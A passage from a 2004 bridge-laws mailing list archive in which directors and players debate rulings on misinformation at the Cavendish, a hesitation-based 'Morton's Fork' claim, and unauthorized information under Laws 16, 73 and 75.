Q3 75 T3 A52 AQ K98 K876 T942 JT832 AK6 K7 J6532 AJ5 Q94 S W N E P P P 1C! P 1D P 1N P 2S! P 3N all pass Opening lead: H3 Declarer wins the HQ and runs the club jack. South wins the club queen and returns the heart deuce. Declarer unblocks the clubs and leads a diamond to the king for nine tricks. This is the 135th and final deal of the tournament. 1C could have been a doubleton. 1NT showed 12-14 HCP. Cavendish rules prohibit EW from playing their usual system (transfer responses to 1C) so they are on unfamiliar ground now. West alerts 2S to South, his screenmate, and explains that he intends it as a transfer to clubs but that his partner might not be on the same wavelength. East does not alert 2S to North -- he treated it as natural and invitational. The spade king lead will defeat the contract, as will a switch to the spade king at trick three. After the deal North asserts that had he known 2S was artificial he would have doubled. How do you rule? -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From hermandw@hdw.be Mon May 10 07:45:27 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 10 May 2004 08:45:27 +0200 Subject: [blml] Groundhog Day In-Reply-To: References: Message-ID: <409F2507.3060406@hdw.be> I have an answer: richard.hills@immi.gov.au wrote: > > > > National Teams, Dlr: N, Vul: All > > 542 > AQT7 > KQJ75 > K > AKJ986 Q3 > --- K863 > 3 9842 > AQ9874 JT5 > T7 > J9542 > AT6 > 632 > > WEST NORTH EAST SOUTH > --- 1D Pass 1H > Double 3H(1) Pass Pass > 4H Pass 5C Pass > 6C Pass(2) Pass Pass > > (1) Obstructive > (2) Hesitation > > The play: Diamond lead, declarer uses the spade > queen entry to take the club finesse, -100. > > E/W ask for a Morton's Fork adjustment to the score. > > Fork 1: If North's hesitation demonstrably suggested > that North was thinking about a penalty double, then > South's final pass was an infraction of Law 16. > Therefore, South should have taken the Lawful logical > alternative of a 6H sacrifice. > > Fork 2: If North's hesitation demonstrably suggested > that North was thinking about a sacrifice, then > North was misleadingly suggesting that North held > a worthless singleton (or void) in clubs. Therefore, > North's hesitation was an infraction of Law 73F2, so > the score should be adjusted to 6C making, due to the > offside singleton king of clubs being dropped. > > How would you rule? > By asking for two adjustments at once, EW tell us they cannot tell which of the alternatives is suggested by the hesitation. Therefore, no alternative can be said to be _demonstrably_ suggested by the hesitation. Thus, no UI infraction. As for the misleading hesitation, if EW cannot tell which alternative is suggested, then they have used the resulting information at their own risk. Score stands. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Mon May 10 07:58:00 2004 From: hermandw@hdw.be (Herman De Wael) Date: Mon, 10 May 2004 08:58:00 +0200 Subject: [blml] Double-meaning double In-Reply-To: <003c01c4361d$93f3dac0$42cc87d9@4nrw70j> References: <1ED8C330-A1F2-11D8-903D-0030656F6826@rochester.rr.com> <4F17FD25-A20C-11D8-9EFB-0003936A6522@gordonrainsford.co.uk> <003c01c4361d$93f3dac0$42cc87d9@4nrw70j> Message-ID: <409F27F8.7090409@hdw.be> grandeval wrote: >> >>>On Saturday, May 8, 2004, at 20:48 US/Eastern, John (MadDog) Probst >>>wrote: >>> >>> >>>>This is rubbish. It's GBK to psyche against >>>> Danny early in a long match. Even he knows it. >>> >>>I didn't, until you brought it up. :-) >> >>Me neither. >> >>And I've played a match against him, partnering John. >> >>And John didn't psyche during the match. >> > > +=+ So he has just now psyched....+=+ > Furthermore, Gordon, who during that match reacted completely correct to each and every one of John's bids, has fielded this psyche by successfully failing to cater for psyches by John. I suggest we cite the Probst-Rainsford to the EBL for a red fielded psyche. We should then also oblige said partnership, next time they play Danny, to psyche, and then strike them from the register for pre-announced psyching. Don't worry, John, there's always a place in the Monty Python Bridge Team for you! -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From Harald.Skjaran@bridgefederation.no Mon May 10 08:06:07 2004 From: Harald.Skjaran@bridgefederation.no (Skjaran, Harald) Date: Mon, 10 May 2004 09:06:07 +0200 Subject: SV: [blml] Groundhog Day Message-ID: <89FD2BC254969C4297E82458BB27990061ECC8@exchange.idrettsforbundet.no> richard.hills@immi.gov.au wrote_ National Teams, Dlr: N, Vul: All 542 AQT7 KQJ75 K AKJ986 Q3 --- K863 3 9842 AQ9874 JT5 T7 J9542 AT6 632 WEST NORTH EAST SOUTH --- 1D Pass 1H Double 3H(1) Pass Pass 4H Pass 5C Pass 6C Pass(2) Pass Pass (1) Obstructive (2) Hesitation The play: Diamond lead, declarer uses the spade queen entry to take the club finesse, -100. E/W ask for a Morton's Fork adjustment to the score. Fork 1: If North's hesitation demonstrably suggested that North was thinking about a penalty double, then South's final pass was an infraction of Law 16. Therefore, South should have taken the Lawful logical alternative of a 6H sacrifice. Fork 2: If North's hesitation demonstrably suggested that North was thinking about a sacrifice, then North was misleadingly suggesting that North held a worthless singleton (or void) in clubs. Therefore, North's hesitation was an infraction of Law 73F2, so the score should be adjusted to 6C making, due to the offside singleton king of clubs being dropped. How would you rule? ----- 1: North's hesitation doesn't demonstrably suggest any action to south. With the south hand you can't tell whether north was contemplating doubling or sacrificing. Holding a very possible defensive trick, and a very balanced hand, I don't think 6H is a LA to south anyway. 2: North's hesitation doesn't demonstrably suggest that he was thinking about a sacrifice. Norht's hand might suggest a sacrifice to some and a penalty double to some players. What north was thinking, we can't know. I would not suggest that he was trying to mislead an opponent. My ruling: Result stands. Regards, Harald -----=20 Best wishes Richard James Hills _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From adam@tameware.com Mon May 10 08:16:03 2004 From: adam@tameware.com (Adam Wildavsky) Date: Mon, 10 May 2004 03:16:03 -0400 Subject: [blml] Cavendish ruling -- final deal In-Reply-To: <89FD2BC254969C4297E82458BB279900FA36AA@exchange.idrettsforbundet.no> References: <89FD2BC254969C4297E82458BB279900FA36AA@exchange.idrettsforbundet.no> Message-ID: At 9:11 AM +0200 5/10/2004, Harald Skjaran wrote: >Did 1N deny a 4-card M? No, 1N did not deny a 4-card major. Oh, and this ruling swings about $80,000. But no pressure... -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From Harald.Skjaran@bridgefederation.no Mon May 10 08:45:33 2004 From: Harald.Skjaran@bridgefederation.no (Skjaran, Harald) Date: Mon, 10 May 2004 09:45:33 +0200 Subject: SV: [blml] Cavendish ruling -- final deal Message-ID: <89FD2BC254969C4297E82458BB27990061ECC9@exchange.idrettsforbundet.no> Adam Wildawsky wrote: IMPs Board 27 Dlr S None vul QJ9864 T74 Q3 75 T3 A52 AQ K98 K876 T942 JT832 AK6 K7 J6532 AJ5 Q94 S W N E P P P 1C! P 1D P 1N P 2S! P 3N all pass Opening lead: H3 Declarer wins the HQ and runs the club jack. South wins the club=20 queen and returns the heart deuce. Declarer unblocks the clubs and=20 leads a diamond to the king for nine tricks. This is the 135th and final deal of the tournament. 1C could have=20 been a doubleton. 1NT showed 12-14 HCP. Cavendish rules prohibit EW=20 from playing their usual system (transfer responses to 1C) so they=20 are on unfamiliar ground now. West alerts 2S to South, his=20 screenmate, and explains that he intends it as a transfer to clubs=20 but that his partner might not be on the same wavelength. East does=20 not alert 2S to North -- he treated it as natural and invitational. The spade king lead will defeat the contract, as will a switch to the=20 spade king at trick three. After the deal North asserts that had he known 2S was artificial he=20 would have doubled. How do you rule? ----- I would not double a natural 2S with the north hand. South is marked with a singleton or void in spades, and I'm prepared for a diamond lead for partner. But I would most probably double 2S transfer to clubs. For south it would be disastrous to shift to the spade king at trick three if east was QJxx-Kxx-Txx-AKx. Declarer would then make 2+2+1+4 tricks, while continuing hearts would beat the contract. >From what's been told, I take it that outside of Cavendish, EW would have bid P-1C, 1S (=3DD) - 1N, 2S (=3Dtransfer to clubs). If so, and if = they didn't expressly make other changes to their bidding structure over 1C than to skip the transfer responses at Cavendish, I would rule that east gave MI to north about the meaning of the 2S bid. On that basis, I would rule 3N -1. Regards, Harald ----- --=20 Adam Wildavsky From jaapvanderneut@hotmail.com Mon May 10 09:54:47 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Mon, 10 May 2004 10:54:47 +0200 Subject: [blml] Cavendish ruling -- final deal References: Message-ID: I have played the Cavendish myself and yes I remember that you cannot really play your normal system (from an European point of view that is). So the organisation more or less creates this type of problems. Now the case. It is a fair claim that N would have doubled a 2S transfer. On the other hand it is rather unclear if EW have any defined system at all after being imposed to play something makeshift. Anyway I don't like the difference the law makes between wrong bid and wrong explanation when it comes to conventions. So take it from there. As I implied I don't like the legal logic 'EW have no system so N got the correct info'. On the other hand I don't blame EW too much for this one. So suppose N is told 2S is transfer (like online bridge or with other screen orientation) and he doubles. Now of course East also 'knows' 2S is not 'natural' (I give him to be smart enough to construct it as a C transfer) so he will never bid 3NT at this stage. In that case the final contract is almost for sure 3C which often will make 10 tricks but lets say 9 after some kind of safety play along the road. So I would adjust to EW 110. Enough compensation for NS, IMO that is. Jaap ----- Original Message ----- From: "Adam Wildavsky" To: Sent: Monday, May 10, 2004 6:26 AM Subject: [blml] Cavendish ruling -- final deal > IMPs > Board 27 > Dlr S > None vul > > QJ9864 > T74 > Q3 > 75 > T3 A52 > AQ K98 > K876 T942 > JT832 AK6 > K7 > J6532 > AJ5 > Q94 > > S W N E > P P P 1C! > P 1D P 1N > P 2S! P 3N > all pass > > Opening lead: H3 > > Declarer wins the HQ and runs the club jack. South wins the club > queen and returns the heart deuce. Declarer unblocks the clubs and > leads a diamond to the king for nine tricks. > > This is the 135th and final deal of the tournament. 1C could have > been a doubleton. 1NT showed 12-14 HCP. Cavendish rules prohibit EW > from playing their usual system (transfer responses to 1C) so they > are on unfamiliar ground now. West alerts 2S to South, his > screenmate, and explains that he intends it as a transfer to clubs > but that his partner might not be on the same wavelength. East does > not alert 2S to North -- he treated it as natural and invitational. > > The spade king lead will defeat the contract, as will a switch to the > spade king at trick three. > > After the deal North asserts that had he known 2S was artificial he > would have doubled. > > How do you rule? > > -- > Adam Wildavsky Extreme Programmer Tameware, LLC > adam@tameware.com http://www.tameware.com > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From jaapvanderneut@hotmail.com Mon May 10 09:55:28 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Mon, 10 May 2004 10:55:28 +0200 Subject: [blml] Groundhog Day References: Message-ID: Richard always has those funny problems. Fork 1. South has to bid 6H. Complete nonsense IMO. If you want to impose that just change the law that 'hesistating' becomes an infraction. Because this logic amounts to after a 'pause' south has to sacrifice when it is wrong and south cannot sacrifice when it is right. If it comes to that I prefer halting play after a pause and awarding some form of AV+ - AV-(-) (and yes you need some provisions for players willingly taking the AV- which should be 0 in some cases). Anyway 6H by south is not a LA at equal vuln. Fork 2. Misleading declarer. This is more interesting. North has really nothing to think about. His hand is both for offense and defense more or less par for his bidding. Besides you see this coming for ages. So thinking/hesistating probably only affects (positively IMO) his change of scoring the CK. I don't really like it. Make up your mind about that. PP anyone? With only 10 trumps it seems declarer will always play for the finesse. But if declarer after 2 red suit leads decides that south has DA then ................... He has a lot of info from the (lack of) bidding. The exact carding and tempo of the first two tricks are interesting. So giving declarer say 10-20% of the slam under C3 is not completely out of bounds. Jaap ----- Original Message ----- From: To: Sent: Monday, May 10, 2004 5:07 AM Subject: [blml] Groundhog Day > > > > > National Teams, Dlr: N, Vul: All > > 542 > AQT7 > KQJ75 > K > AKJ986 Q3 > --- K863 > 3 9842 > AQ9874 JT5 > T7 > J9542 > AT6 > 632 > > WEST NORTH EAST SOUTH > --- 1D Pass 1H > Double 3H(1) Pass Pass > 4H Pass 5C Pass > 6C Pass(2) Pass Pass > > (1) Obstructive > (2) Hesitation > > The play: Diamond lead, declarer uses the spade > queen entry to take the club finesse, -100. > > E/W ask for a Morton's Fork adjustment to the score. > > Fork 1: If North's hesitation demonstrably suggested > that North was thinking about a penalty double, then > South's final pass was an infraction of Law 16. > Therefore, South should have taken the Lawful logical > alternative of a 6H sacrifice. > > Fork 2: If North's hesitation demonstrably suggested > that North was thinking about a sacrifice, then > North was misleadingly suggesting that North held > a worthless singleton (or void) in clubs. Therefore, > North's hesitation was an infraction of Law 73F2, so > the score should be adjusted to 6C making, due to the > offside singleton king of clubs being dropped. > > How would you rule? > > Best wishes > > Richard James Hills > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From ehaa@starpower.net Mon May 10 13:23:52 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 10 May 2004 08:23:52 -0400 Subject: [blml] RE: Misinformation? Damage? Self-inflicted? In-Reply-To: <6C60E0294337E84EBE5B198747277FA9364374@MAIL.fc.up.pt> Message-ID: <5.2.0.9.0.20040510081036.00a369d0@pop.starpower.net> At 03:15 PM 5/7/04, Nuno wrote: > > The notion that redress should be routinely denied just because a bad > > bid got what it deserved is both widespread and pernicious, and the > > forces of righteousness have a duty to try to stamp it out wherever > > they encounter it. > >Hum.. I think I get the point. But then how do you solve the problem? >I would venture to do as follows: > >1. Estimate likely contract and outcome with correct info: 3NT -1, +100 >2. Subtract from error of bidding 3H, -800 >3. Split scores: NS score +800 (the table score) & EW -700 (corrected >for misinformation and irrational action) >4. Follow the usual procedures to convert to imps/mps/pvs. > >Would this be a good ruling? Without a finding that the NOS made an error sufficiently egregious (or sufficiently "irrational, wild or gambling") to deny redress, the correct procedure is: 1. Determine the likely contracts and outcomes (plural!) with correct info. There may be more than one. 2. Award the NOS the score for the most favorable outcome on the list. 3. Determine if there are any contracts/outcomes which, although not likely, are "at all probable". Add them to the list. 4. Award the OS the score for the least favorable outcome on the list. (Much, probably most, of the time, this will be the same result as for the NOS.) 5. Follow the usual procedures to convert to IMPs/MPs/whatever. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ehaa@starpower.net Mon May 10 13:50:01 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 10 May 2004 08:50:01 -0400 Subject: [blml] Groundhog Day In-Reply-To: Message-ID: <5.2.0.9.0.20040510084325.00a09b60@pop.starpower.net> At 11:07 PM 5/9/04, richard.hills wrote: >National Teams, Dlr: N, Vul: All > > 542 > AQT7 > KQJ75 > K >AKJ986 Q3 >--- K863 >3 9842 >AQ9874 JT5 > T7 > J9542 > AT6 > 632 > >WEST NORTH EAST SOUTH >--- 1D Pass 1H >Double 3H(1) Pass Pass >4H Pass 5C Pass >6C Pass(2) Pass Pass > >(1) Obstructive >(2) Hesitation > >The play: Diamond lead, declarer uses the spade >queen entry to take the club finesse, -100. > >E/W ask for a Morton's Fork adjustment to the score. > >Fork 1: If North's hesitation demonstrably suggested >that North was thinking about a penalty double, then >South's final pass was an infraction of Law 16. >Therefore, South should have taken the Lawful logical >alternative of a 6H sacrifice. > >Fork 2: If North's hesitation demonstrably suggested >that North was thinking about a sacrifice, then >North was misleadingly suggesting that North held >a worthless singleton (or void) in clubs. Therefore, >North's hesitation was an infraction of Law 73F2, so >the score should be adjusted to 6C making, due to the >offside singleton king of clubs being dropped. > >How would you rule? E-W's own argument concedes that North may have been thinking about either a penalty double or a sacrifice, therefore neither possibility is "demonstrably suggested", so neither fork applies. That reduces the substance of E-W's case to, "He broke tempo, so we should get an adjustment." I would rule that E-W's protest was frivolous. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ehaa@starpower.net Mon May 10 14:08:35 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 10 May 2004 09:08:35 -0400 Subject: [blml] Cavendish ruling -- final deal In-Reply-To: Message-ID: <5.2.0.9.0.20040510085612.03470630@pop.starpower.net> At 12:26 AM 5/10/04, Adam wrote: >IMPs >Board 27 >Dlr S >None vul > > QJ9864 > T74 > Q3 > 75 >T3 A52 >AQ K98 >K876 T942 >JT832 AK6 > K7 > J6532 > AJ5 > Q94 > >S W N E >P P P 1C! >P 1D P 1N >P 2S! P 3N >all pass > >Opening lead: H3 > >Declarer wins the HQ and runs the club jack. South wins the club queen >and returns the heart deuce. Declarer unblocks the clubs and leads a >diamond to the king for nine tricks. > >This is the 135th and final deal of the tournament. 1C could have been >a doubleton. 1NT showed 12-14 HCP. Cavendish rules prohibit EW from >playing their usual system (transfer responses to 1C) so they are on >unfamiliar ground now. West alerts 2S to South, his screenmate, and >explains that he intends it as a transfer to clubs but that his >partner might not be on the same wavelength. East does not alert 2S to >North -- he treated it as natural and invitational. > >The spade king lead will defeat the contract, as will a switch to the >spade king at trick three. > >After the deal North asserts that had he known 2S was artificial he >would have doubled. > >How do you rule? I'd want to do a bit of fact-finding first, but I expect I'd wind up ruling no adjustment. It sounds like E-W genuinely had no agreement about the 2S bid. North is only entitled to know whether 2S was artificial by partnership agreement; he is not entitled to know how West hoped East would interpret it in the absence of an agreement. Indeed, West has, in an attempt to be helpful and "sportsmanlike", explicitly told South that E-W have no agreement and has, additionally, volunteered the information that he hopes East will take it as a transfer. He was not legally required to do this (although I approve of his doing it anyhow), and his side is certainly under no legal obligation to ensure that North receives the same "extraneous" information. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From TG0JLH1@wpo.cso.niu.edu Mon May 10 16:23:11 2004 From: TG0JLH1@wpo.cso.niu.edu (James Hudson) Date: Mon, 10 May 2004 10:23:11 -0500 Subject: [blml] Cavendish ruling -- final deal Message-ID: >>> Adam Wildavsky 5/9/2004 11:26:49 PM >>> IMPs Board 27 Dlr S None vul QJ9864 T74 Q3 75 T3 A52 AQ K98 K876 T942 JT832 AK6 K7 J6532 AJ5 Q94 S W N E P P P 1C! P 1D P 1N P 2S! P 3N all pass Opening lead: H3 Declarer wins the HQ and runs the club jack. South wins the club queen and returns the heart deuce. Declarer unblocks the clubs and leads a diamond to the king for nine tricks. This is the 135th and final deal of the tournament. 1C could have been a doubleton. 1NT showed 12-14 HCP. Cavendish rules prohibit EW from playing their usual system (transfer responses to 1C) so they are on unfamiliar ground now. West alerts 2S to South, his screenmate, and explains that he intends it as a transfer to clubs but that his partner might not be on the same wavelength. East does not alert 2S to North -- he treated it as natural and invitational. The spade king lead will defeat the contract, as will a switch to the spade king at trick three. After the deal North asserts that had he known 2S was artificial he would have doubled. How do you rule? -- Adam Wildavsky -------------------------- -------------------------- I would try to find out what EW's actual agreement (about the 2S bid)was. If, as seems likely from the given description, they had no agreement, there was no MI; the table result stands. In the absence of evidence I would presume MI rather than mistaken bid, but surely players in the Cavendish will be able to produce evidence about what they are playing. It looks as though West went beyond the call of duty in telling South how he intended his bid, and in adding that (since there was no actual partnership agreement) his partner was likely to misunderstand. No doubt South should have led or switched to a spade, but the failure to do so seems not to be egregious, so if there was MI NS are entitled to a score adjustment. Point of information, which is probably not relevant to this case: before the opening lead or during the play can South demand to be told how (if at all) the 2S bid was explained to North? Or does he have to wait till play is over, and rely on the authorities to protect him if there were divergent explanations on the two sides of the screen? Jim Hudson DeKalb, IL, USA From adam@tameware.com Mon May 10 16:49:06 2004 From: adam@tameware.com (Adam Wildavsky) Date: Mon, 10 May 2004 11:49:06 -0400 Subject: [blml] Cavendish ruling -- final deal In-Reply-To: References: Message-ID: At 10:23 AM -0500 5/10/2004, James Hudson wrote: >Point of information, which is probably not relevant to this case: >before the opening lead or during the play can South demand to be told >how (if at all) the 2S bid was explained to North? Or does he have to >wait till play is over, and rely on the authorities to protect him if >there were divergent explanations on the two sides of the screen? This came up in an earlier round -- an opponent who was on lead wanted to know if he could have the explanation my partner had given his partner. The TD said "no". It turned out to be irrelevant -- we had (amazingly enough) both provided the same explanation. -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From luis@fuegolabs.com Mon May 10 20:39:37 2004 From: luis@fuegolabs.com (Luis Argerich) Date: Mon, 10 May 2004 16:39:37 -0300 Subject: [blml] Long considerations before final pass: Is this an infraction? Message-ID: <016501c436c6$87a07180$a301a8c0@fuegolabs.com> Just for curiosity, this happened (in different variations) at least 3 times during a recent tournament... 1NT pass 2c pass 2d pass pass * Now this player starts thinking, asks his opponents about 2c "normal stayman" they answer, continues to think, now asks about if 2h would have been garbage with both majors. "Yes" they answer. More thinking, and after 2/3 minutes of considerations passes. Everybody in the world knows that player had majors in fact he held (AKJxx, Txxx, xx, Jx). Is this an infraction ? What can declarer do ? Thanks for the info, always useful and informative. Luis --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.678 / Virus Database: 440 - Release Date: 5/9/2004 From svenpran@online.no Mon May 10 22:24:47 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 10 May 2004 23:24:47 +0200 Subject: [blml] Long considerations before final pass: Is this an infraction? In-Reply-To: <016501c436c6$87a07180$a301a8c0@fuegolabs.com> Message-ID: <000201c436d5$399e34e0$6900a8c0@WINXP> Luis Argerich > Just for curiosity, this happened (in different variations)=20 > at least 3 times during a recent tournament... >=20 > 1NT pass 2c pass > 2d pass pass * >=20 > Now this player starts thinking, asks his opponents about 2c=20 > "normal stayman" they answer, continues to think, now asks > about if 2h would have been garbage with both majors. "Yes"=20 > they answer. More thinking, and after 2/3 minutes > of considerations passes. >=20 > Everybody in the world knows that player had majors in fact he held > (AKJxx, Txxx, xx, Jx). > Is this an infraction?=20 No, it is not an infraction (unless the time is spent for the sole or = main purpose of misleading or discomforting declarer). However, the other defender must be very careful not to select any (successful) play that "could have been suggested over another alternative by the hesitation" = (Law 16A) > What can declarer do? If he feels that the other defender has selected some play more or less = as suggested by the hesitation etc. he should summon the Director as soon = as possible and explain the situation as he sees it. He should then leave = it to the Director to rule whether an infraction of Law 16A2 has indeed taken place. Regards Sven From richard.hills@immi.gov.au Mon May 10 23:09:11 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 11 May 2004 08:09:11 +1000 Subject: [blml] Active ethics (was Double-meaning) Message-ID: >+=+ Not to indulge in repetition of my stated position but to >supplement: > 1. The information conveyed to partner by the explanation >is not that conveyed by the legal auction. It is the information >that the partner does not know what the legal auction is. > 2. Neither Law 16 nor Law 73B1 requires intent on the >part of the player who conveys information. These laws are >activated by the fact that information is conveyed. > ~ Grattan ~ +=+ The bidding has gone: SOUTH(you) WEST NORTH(pard) 1NT 1H(1) Yawn(2) (1) Insufficient bid (2) Before you can react to West's insufficient bid, pard yawns. You have UI that pard has an inadvertent habit of yawning if and only if pard is so sleepy that pard is automatically assuming that West's call is a Pass. Law 9A1: >>Unless prohibited by Law, any player may call attention to an >>irregularity during the auction, whether or not it is his turn >>to call. Are you entitled to wake pard up to the fact that pard is about to condone an insufficient bid, by calling attention to West's irregularity? Or is calling attention to West's irregularity an "extraneous remark", and thus prohibited by Law 73B1? Best wishes Richard James Hills From richard.hills@immi.gov.au Tue May 11 01:20:52 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 11 May 2004 10:20:52 +1000 Subject: [blml] Groundhog Day Message-ID: Unusually, the four blmlers responding to this problem were unanimous in their rulings. Some extracts from their postings -> Herman De Wael: >no alternative can be said to be _demonstrably_ >suggested by the hesitation. Thus, no UI infraction. Harald Skjaran: >North's hesitation doesn't demonstrably suggest any >action to South. With the South hand you can't tell >whether North was contemplating doubling or >sacrificing. Jaap van der Neut: >Complete nonsense IMO. If you want to impose that just >change the law that 'hesitating' becomes an infraction. >Because this logic amounts to after a 'pause' South has >to sacrifice when it is wrong and South cannot >sacrifice when it is right. Eric Landau: >North may have been thinking about either a penalty >double or a sacrifice, therefore neither possibility is >"demonstrably suggested", so neither fork applies. > >That reduces the substance of E-W's case to, "He broke >tempo, so we should get an adjustment." Richard James Hills: In the classic film, Groundhog Day, the protagonist has to live the same day over and over, but with slight variations each time. The problem I posed was merely the second day of Groundhog Day. On the first day of Groundhog Day, there were slight variations to the problem. There was a slight variation to the layout of the cards, with the king and ten of clubs interchanged, plus there was a slight variation to the auction: National Teams, Dlr: N, Vul: All 542 AQT7 KQJ75 T AKJ986 Q3 --- K863 3 9842 AQ9874 KJ5 T7 J9542 AT6 632 WEST NORTH EAST SOUTH --- 1D Pass 1H Double 3H(1) Pass Pass 4H Pass 5C Pass 6C Pass(2) Pass 6H Double Pass Pass Pass (1) Obstructive (2) Hesitation Result: N/S -500 This first Groundhog Day problem was posed to a panel in the most recent edition of the Australian Bridge Directors' Bulletin. Panellist Richard Hills wrote: >>At least one call must be legal for South. If >>South had successfully passed, when 6H was a >>phantom, North could pose this hypothetical >>alternative argument: "North's hesitation suggested >>that North was thinking about a penalty Double. >>Therefore, South acted unethically by not taking the >>phantom save." >> >>After UI, it is not the case that *every* winning >>action must be ruled out. Law 16 does not rule >>illegal all *possibly* suggested actions, Law 16 >>merely rules illegal any *demonstrably* suggested >>action. [snip] Panellist David Stevenson wrote: [snip] >>Did the UI suggest the chosen action over an LA? >> >>There is always some difficulty with this type of >>sequence. North's pause shows some thought over >>taking action, but the action could be to double >>because the opponents have got too high, and could >>be to sacrifice. >> >>However, experience shows that players get this sort >>of position right, so the UI must suggest something >>to this pair. South's action, holding an ace, is >>pretty incredible anyway. Furthermore, because of >>the ace, he knows that partner is not wondering >>whether to double with two red aces, for example. [snip] Blmler Eric Landau: >I would rule that E-W's protest was frivolous. Panellist David Stevenson: >>So how do I rule? >> >>6C making. If N/S are experienced I consider a PP >>as well: this was blatant. If North had passed in >>tempo I feel sure so would South. :-) Best wishes RJH From richard.hills@immi.gov.au Tue May 11 06:02:52 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 11 May 2004 15:02:52 +1000 Subject: [blml] Cavendish ruling -- final deal Message-ID: Adam Wildavsky: [snip] >>>West alerts 2S to South, his screenmate, and >>>explains that he intends it as a transfer to >>>clubs but that his partner might not be on >>>the same wavelength. East does not alert 2S >>>to North -- he treated it as natural and >>>invitational. [snip] Richard James Hills: In effect, West is stating that (in West's opinion) the East-West partnership have an implicit agreement that the logical consequences of the East-West system mean that West's 2S call is a transfer to clubs, but also that East may not yet have deduced the logical consequences of the East-West system. Footnote to Law 75: >>Director is to presume Mistaken Explanation, >>rather than Mistaken Bid, in the absence of >>evidence to the contrary. WBF Code of Practice: >If the members of a partnership offer differing >explanations, or if a conflicting statement on >the convention card has caused an opponent to >be confused, a procedural penalty for violation >of Law 75 may be applied. As a separate issue, >the score will be adjusted if opponents are >damaged and the conditions for score adjustment >are deemed to exist. Best wishes RJH From adam@tameware.com Tue May 11 06:21:21 2004 From: adam@tameware.com (Adam Wildavsky) Date: Tue, 11 May 2004 01:21:21 -0400 Subject: [blml] Cavendish ruling -- final deal In-Reply-To: References: Message-ID: At 3:02 PM +1000 5/11/2004, richard.hills@immi.gov.au wrote: >WBF Code of Practice: ... As far as I know the Cavendish has not adopted the COP, so this may not be relevant. I did find the following in the CoC for the 2003 Cavendish -- I expect it has not changed for 2004: "9. Any irregularity in the Alert procedure may result in infractions of Misinformation or Unauthorized Information. Both players are required to know their bidding agreements and to alert and explain their agreements properly and identically. The appropriate laws will be applied if damage to the opponents results therefrom, and even if no damage ensues from an alert infraction, a procedural penalty may be assigned. In general, players should assume that if no alert is made, no alertable call has been made. Therefore, if there is any doubt in a player's mind as to whether or not a call is alertable, the player should alert." -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From richard.hills@immi.gov.au Tue May 11 06:38:16 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 11 May 2004 15:38:16 +1000 Subject: [blml] Cavendish ruling -- final deal Message-ID: [snip] >>Cavendish rules prohibit EW from playing their >>usual system (transfer responses to 1C) so they >>are on unfamiliar ground now. [snip] Eric Landau: >I'd want to do a bit of fact-finding first, but >I expect I'd wind up ruling no adjustment. It >sounds like E-W genuinely had no agreement about >the 2S bid. [snip] Richard James Hills: In my opinion, it seems that East has the belief that the East-West previous agreement (of a style of transfer responses) has been implicitly and totally over-ridden by Cavendish rules. In my opinion, it seems that West has the belief that the East-West partnership has an implicit agreement to revert to their normal transfer style, as soon as such reversion is permitted by Cavendish rules. In my opinion, it is not relevant that West is aware of the possibility that East's interpretation of the East-West system may be different to West's interpretation. West was also presumably aware of the other possibility that East might interpret West's alternative call of 3C as a transfer, rather than as a natural call. So, in my opinion, the scales are evenly balanced between a "misbid" ruling, and a "misexplanation" ruling. In such a scale-balanced case, the Law 75 footnote requires that the TD tie-break by ruling that a "misexplanation" infraction exists. Best wishes RJH From ereppert@rochester.rr.com Tue May 11 07:39:20 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 11 May 2004 02:39:20 -0400 Subject: [blml] Cavendish ruling -- final deal In-Reply-To: Message-ID: On Tuesday, May 11, 2004, at 01:38 US/Eastern, richard.hills@immi.gov.au wrote: > In such a scale-balanced case, the Law 75 > footnote requires that the TD tie-break by ruling > that a "misexplanation" infraction exists. Does it? The footnote requires such a ruling "in the absence of evidence to the contrary" but there *is* such evidence here. It seems to me the law requires the TD to weigh the evidence and make a judgment call as to whether it was a misbid or a misexplanation. That is *not* the same thing as what Richard says above. From twm@cix.co.uk Tue May 11 12:29:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Tue, 11 May 2004 12:29 +0100 (BST) Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: <31B2BCE8-A1F1-11D8-903D-0030656F6826@rochester.rr.com> Message-ID: > > On Friday, May 7, 2004, at 07:36 US/Eastern, Tim West-Meads wrote: > > > The double of 1N was a legal call. I am authorised to base my action > > upon > > it. Sure the alert/explanation are UI but that is irrelevant here. > > Once > > I know that I missed the first double I have no LA to 2D. > > I agree that the double was a legal call, and that it is AI. However.... > > Law 16 says "he partner may not choose from among logical alternative > actions one that could demonstrably have been suggested over another by > the extraneous information." Clearly, if you have no LA to 2D, then > this law does not apply. But.... > > Law 73C says "When a player has available to him unauthorized > information from his partner ... he must carefully avoid taking any > 